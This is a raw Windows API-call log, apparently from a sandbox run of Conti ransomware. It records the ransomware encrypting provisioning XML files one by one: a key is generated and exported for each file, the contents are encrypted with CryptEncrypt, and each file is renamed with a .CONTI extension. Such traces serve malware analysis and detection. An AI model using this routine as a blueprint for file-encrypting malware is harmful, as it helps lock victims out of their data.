	[0111.086] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c3, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0111.086] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.086] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.086] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.087] WriteFile (in: hFile=0x3ac, lpBuffer=0x656acc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x656acc0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.087] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.087] CloseHandle (hObject=0x3ac) returned 1
	[0111.087] GetProcessHeap () returned 0x1720000
	[0111.087] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.195] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml"
	[0111.195] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.196] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\349__connections_cellular_sfr (réunion) (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.196] GetProcessHeap () returned 0x1720000
	[0111.196] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.196] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0111.196] GetProcessHeap () returned 0x1720000
	[0111.196] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561560 | out: hHeap=0x1720000) returned 1
	[0111.196] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.196] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6514bf0 | out: phKey=0x6514bf0*=0x17c7ab0) returned 1
	[0111.196] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514bf4, pdwDataLen=0x55ffb34 | out: pbData=0x6514bf4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.197] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0111.197] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0111.197] GetLastError () returned 0x0
	[0111.197] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=846) returned 1
	[0111.198] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34e
	[0111.198] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.198] SetEndOfFile (hFile=0x2ec) returned 1
	[0111.198] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.198] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.198] WriteFile (in: hFile=0x2ec, lpBuffer=0x6514bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6514bf4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.435] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.435] ReadFile (in: hFile=0x2ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x34e, lpOverlapped=0x0) returned 1
	[0111.435] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x34e, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x350) returned 1
	[0111.435] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.436] WriteFile (in: hFile=0x2ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x350, lpOverlapped=0x0) returned 1
	[0111.436] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.436] WriteFile (in: hFile=0x2ec, lpBuffer=0x6514be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6514be8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.436] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.436] CloseHandle (hObject=0x2ec) returned 1
	[0111.436] GetProcessHeap () returned 0x1720000
	[0111.436] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.768] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml"
	[0111.768] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml.CONTI"
	[0111.768] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\390__connections_cellular_starhub (singapore)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0111.769] GetProcessHeap () returned 0x1720000
	[0111.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.769] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0111.769] GetProcessHeap () returned 0x1720000
	[0111.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6d28 | out: hHeap=0x1720000) returned 1
	[0111.769] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.769] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x18022f0 | out: phKey=0x18022f0*=0x6b7f638) returned 1
	[0111.769] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x18022f4, pdwDataLen=0x55ffb34 | out: pbData=0x18022f4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.770] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.770] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.770] GetLastError () returned 0x0
	[0111.770] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=639) returned 1
	[0111.770] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27f
	[0111.770] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.770] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.770] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.770] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.771] WriteFile (in: hFile=0x3ec, lpBuffer=0x18022f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x18022f4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.772] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.772] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x27f, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x27f, lpOverlapped=0x0) returned 1
	[0111.772] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x27f, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x280) returned 1
	[0111.772] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.772] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x280, lpOverlapped=0x0) returned 1
	[0111.772] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.772] WriteFile (in: hFile=0x3ec, lpBuffer=0x18022e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x18022e8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.772] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.773] CloseHandle (hObject=0x3ec) returned 1
	[0111.773] GetProcessHeap () returned 0x1720000
	[0111.773] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.773] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0111.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.773] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.773] GetProcessHeap () returned 0x1720000
	[0111.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.773] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.773] GetProcessHeap () returned 0x1720000
	[0111.774] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807b28 | out: hHeap=0x1720000) returned 1
	[0111.774] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.774] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x1802780 | out: phKey=0x1802780*=0x6b7f478) returned 1
	[0111.774] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1802784, pdwDataLen=0x55ffb34 | out: pbData=0x1802784*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.774] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.775] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.775] GetLastError () returned 0x0
	[0111.775] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=715) returned 1
	[0111.775] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0111.775] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.775] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.775] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.775] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.775] WriteFile (in: hFile=0x3ec, lpBuffer=0x1802784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x1802784*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.777] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.778] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2cb, lpOverlapped=0x0) returned 1
	[0111.778] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2cb, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d0) returned 1
	[0111.778] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.778] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.778] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.778] WriteFile (in: hFile=0x3ec, lpBuffer=0x1802778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x1802778*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.778] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.778] CloseHandle (hObject=0x3ec) returned 1
	[0111.778] GetProcessHeap () returned 0x1720000
	[0111.778] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.778] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0111.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.778] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.779] GetProcessHeap () returned 0x1720000
	[0111.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.779] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0111.779] GetProcessHeap () returned 0x1720000
	[0111.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c560 | out: hHeap=0x1720000) returned 1
	[0111.779] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
